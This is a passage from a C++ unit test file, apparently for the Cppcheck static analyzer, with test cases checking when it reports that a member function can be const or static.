(style, inconclusive) Technically the member function 'A::strGetString' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const9() {\n // ticket #1515\n checkConst(\"class wxThreadInternal {\\n\"\n \"public:\\n\"\n \" void SetExitCode(wxThread::ExitCode exitcode) { m_exitcode = exitcode; }\\n\"\n \"private:\\n\"\n \" wxThread::ExitCode m_exitcode;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const10() {\n // ticket #1522\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x = 0; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x ? x : x = 0; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x ? x = 0 : x; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const11() {\n // ticket #1529\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" void set(struct tm time) { m_time = time; }\\n\"\n \"private:\\n\"\n \" struct tm m_time;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const12() {\n // ticket #1525\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { x = 0; }\\n\"\n \"private:\\n\"\n \" mutable int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const13() {\n // ticket #1519\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::vector GetVec() {return m_vec;}\\n\"\n \" std::pair GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::vector m_vec;\\n\"\n \" std::pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:22]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\"\n \"[test.cpp:5:27]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::vector & GetVec() {return m_vec;}\\n\"\n \" const std::pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::vector m_vec;\\n\"\n \" std::pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:30]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\"\n \"[test.cpp:5:35]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const14() {\n // extends ticket 1519\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair,double> GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair,double>& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:47]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair,double>& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:31]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int,std::vector > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< int,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:47]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair< vector, int > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:31]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const pair< vector, int >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:38]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair< vector, int >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::vector,std::vector > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:53]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< std::vector,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:60]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::vector,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::pair < int, char > , int > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:49]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< std::pair < int, char > , int > & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:56]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::pair < int, char > , int > & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int , std::pair < int, char > > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:49]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< int , std::pair < int, char > >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:56]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int , std::pair < int, char > >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" vector GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const vector& GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" vector& GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int * * foo() { return &x; }\\n\"\n \"private:\\n\"\n \" const int * x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" const int ** foo() { return &x; }\\n\"\n \"private:\\n\"\n \" const int * x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const15() {\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \" unsigned long long int getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n // constructors can't be const..\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \"public:\\n\"\n \" Fred() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment through |=..\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \" unsigned long long int setA() { a |= true; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned long long int get()\\n\"\n \" { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const16() {\n // ticket #1551\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void set(int i) { Fred::a = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const17() {\n // ticket #1552\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" void set(int i, int j) { a[i].k = i; }\\n\"\n \"private:\\n\"\n \" struct { int k; } a[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const18() {\n checkConst(\"class Fred {\\n\"\n \"static int x;\\n\"\n \"public:\\n\"\n \" void set(int i) { x = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::set' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const19() {\n // ticket #1612\n checkConst(\"using namespace std;\\n\"\n \"class Fred {\\n\"\n \"private:\\n\"\n \" std::string s;\\n\"\n \"public:\\n\"\n \" void set(std::string ss) { s = ss; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const20() {\n // ticket #1602\n checkConst(\"class Fred {\\n\"\n \" int x : 3;\\n\"\n \"public:\\n\"\n \" void set(int i) { x = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" list x;\\n\"\n \"public:\\n\"\n \" list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" list x;\\n\"\n \"public:\\n\"\n \" list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::list x;\\n\"\n \"public:\\n\"\n \" std::list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::list x;\\n\"\n \"public:\\n\"\n \" std::list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:36]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const21() {\n // ticket #1683\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" const char * l1[10];\\n\"\n \"public:\\n\"\n \" A()\\n\"\n \" {\\n\"\n \" for (int i = 0 ; i < 10; l1[i] = NULL, i++);\\n\"\n \" }\\n\"\n \" void f1() { l1[0] = \\\"Hello\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const22() {\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" B::C * v1;\\n\"\n \"public:\\n\"\n \" void f1() { v1 = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" B::C * v1[0];\\n\"\n \"public:\\n\"\n \" void f1() { v1[0] = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const23() {\n checkConst(\"class Class {\\n\"\n \"public:\\n\"\n \" typedef Template Type;\\n\"\n \" typedef Template2 Type2;\\n\"\n \" void set_member(Type2 m) { _m = m; }\\n\"\n \"private:\\n\"\n \" Type2 _m;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const24() {\n checkConst(\"class Class {\\n\"\n \"public:\\n\"\n \"void Settings::SetSetting(QString strSetting, QString strNewVal)\\n\"\n \"{\\n\"\n \" (*m_pSettings)[strSetting] = strNewVal;\\n\"\n \"}\\n\"\n \"private:\\n\"\n \" std::map *m_pSettings;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void const25() { // ticket #1724\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"std::string strGetString() const\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"const std::string strGetString1() const\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"std::string strGetString()\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'A::strGetString' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"const std::string strGetString1()\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:19]: (style, inconclusive) Technically the member function 'A::strGetString1' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVec.push_back(\\\"\\\");}\\n\"\n \"size_t strGetSize()\\n\"\n \"{return m_strVec.size();}\\n\"\n \"private:\\n\"\n \"std::vector m_strVec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (style, inconclusive) Technically the member function 'A::strGetSize' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVec.push_back(\\\"\\\");}\\n\"\n \"bool strGetEmpty()\\n\"\n \"{return m_strVec.empty();}\\n\"\n \"private:\\n\"\n \"std::vector m_strVec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (style, inconclusive) Technically the member function 'A::strGetEmpty' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const26() { // ticket #1847\n checkConst(\"class DelayBase {\\n\"\n \"public:\\n\"\n \"void swapSpecificDelays(int index1, int index2) {\\n\"\n \" std::swap(delays_[index1], delays_[index2]);\\n\"\n \"}\\n\"\n \"float delays_[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct DelayBase {\\n\"\n \" float swapSpecificDelays(int index1) {\\n\"\n \" return delays_[index1];\\n\"\n \" }\\n\"\n \" float delays_[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style, inconclusive) Technically the member function 'DelayBase::swapSpecificDelays' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const27() { // ticket #1882\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){m_d=1.0; m_iRealVal=2.0;}\\n\"\n \" double dGetValue();\\n\"\n \"private:\\n\"\n \" double m_d;\\n\"\n \" double m_iRealVal;\\n\"\n \"};\\n\"\n \"double A::dGetValue() {\\n\"\n \" double dRet = m_iRealVal;\\n\"\n \" if( m_d != 0 )\\n\"\n \" return m_iRealVal / m_d;\\n\"\n \" return dRet;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:12] -> [test.cpp:9:12]: (style, inconclusive) Technically the member function 'A::dGetValue' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const28() { // ticket #1883\n checkConst(\"class P {\\n\"\n \"public:\\n\"\n \" P() { x=0.0; y=0.0; }\\n\"\n \" double x,y;\\n\"\n \"};\\n\"\n \"class A : public P {\\n\"\n \"public:\\n\"\n \" A():P(){}\\n\"\n \" void SetPos(double xPos, double yPos) {\\n\"\n \" x=xPos;\\n\"\n \" y=yPos;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class AA : public P {\\n\"\n \"public:\\n\"\n \" AA():P(){}\\n\"\n \" inline void vSetXPos(int x_)\\n\"\n \" {\\n\"\n \" UnknownScope::x = x_;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class AA {\\n\"\n \"public:\\n\"\n \" AA():P(){}\\n\"\n \" inline void vSetXPos(int x_)\\n\"\n \" {\\n\"\n \" UnknownScope::x = x_;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (performance, inconclusive) Technically the member function 'AA::vSetXPos' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n }\n\n void const29() { // ticket #1922\n checkConst(\"class test {\\n\"\n \" public:\\n\"\n \" test();\\n\"\n \" const char* get() const;\\n\"\n \" char* get();\\n\"\n \" private:\\n\"\n \" char* value_;\\n\"\n \"};\\n\"\n \"test::test()\\n\"\n \"{\\n\"\n \" value_ = 0;\\n\"\n \"}\\n\"\n \"const char* test::get() const\\n\"\n \"{\\n\"\n \" return value_;\\n\"\n \"}\\n\"\n \"char* test::get()\\n\"\n \"{\\n\"\n \" return value_;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const30() {\n // check for false negatives\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style, inconclusive) Technically the member function 'Derived::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base1 {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Base2 {\\n\"\n \"public:\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"class Derived : public Base1, public Base2 {\\n\"\n \"public:\\n\"\n \" int getA() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" int getB() {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'Derived::getA' can be const. [functionConst]\\n\"\n \"[test.cpp:14:9]: (style, inconclusive) Technically the member function 'Derived::getB' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style, inconclusive) Technically the member function 'Derived2::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 { };\\n\"\n \"class Derived3 : public Derived2 { };\\n\"\n \"class Derived4 : public Derived3 {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:9]: (style, inconclusive) Technically the member function 'Derived4::get' can be const. [functionConst]\\n\", errout_str());\n\n // check for false positives\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base1 {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Base2 {\\n\"\n \"public:\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"class Derived : public Base1, public Base2 {\\n\"\n \"public:\\n\"\n \" int getA() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" int getB() const {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 { };\\n\"\n \"class Derived3 : public Derived2 { };\\n\"\n \"class Derived4 : public Derived3 {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const31() {\n checkConst(\"namespace std { }\\n\"\n \"class Fred {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \" int get() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const32() {\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" std::string a[10];\\n\"\n \" void seta() { a[0] = \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const33() {\n checkConst(\"class derived : public base {\\n\"\n \"public:\\n\"\n \" void f(){}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Either there is a missing 'override', or the member function 'derived::f' can be static. [functionStatic]\\n\", errout_str());\n }\n\n void const34() { // ticket #1964\n checkConst(\"class Bar {\\n\"\n \" void init(Foo * foo) {\\n\"\n \" foo.bar = this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const35() { // ticket #2001\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" };\\n\"\n \"}\\n\"\n \"namespace N\\n\"\n \"{\\n\"\n \" class Derived : public Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName() { return var; }\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:21]: (style, inconclusive) Technically the member function 'N::Derived::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"int N::Base::getResourceName() { return var; }\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:10:14]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"namespace N\\n\"\n \"{\\n\"\n \" int Base::getResourceName() { return var; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:12:19]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"int Base::getResourceName() { return var; }\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:11:11]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const36() { // ticket #2003\n checkConst(\"class Foo {\\n\"\n \"public:\\n\"\n \" Blue::Utility::Size m_MaxQueueSize;\\n\"\n \" void SetMaxQueueSize(Blue::Utility::Size a_MaxQueueSize)\\n\"\n \" {\\n\"\n \" m_MaxQueueSize = a_MaxQueueSize;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const37() { // ticket #2081 and #2085\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A(){};\\n\"\n \" std::string operator+(const char *c)\\n\"\n \" {\\n\"\n \" return m_str+std::string(c);\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" std::string m_str;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style, inconclusive) Technically the member function 'A::operator+' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" long x;\\n\"\n \"public:\\n\"\n \" Fred() {\\n\"\n \" x = 0;\\n\"\n \" }\\n\"\n \" bool 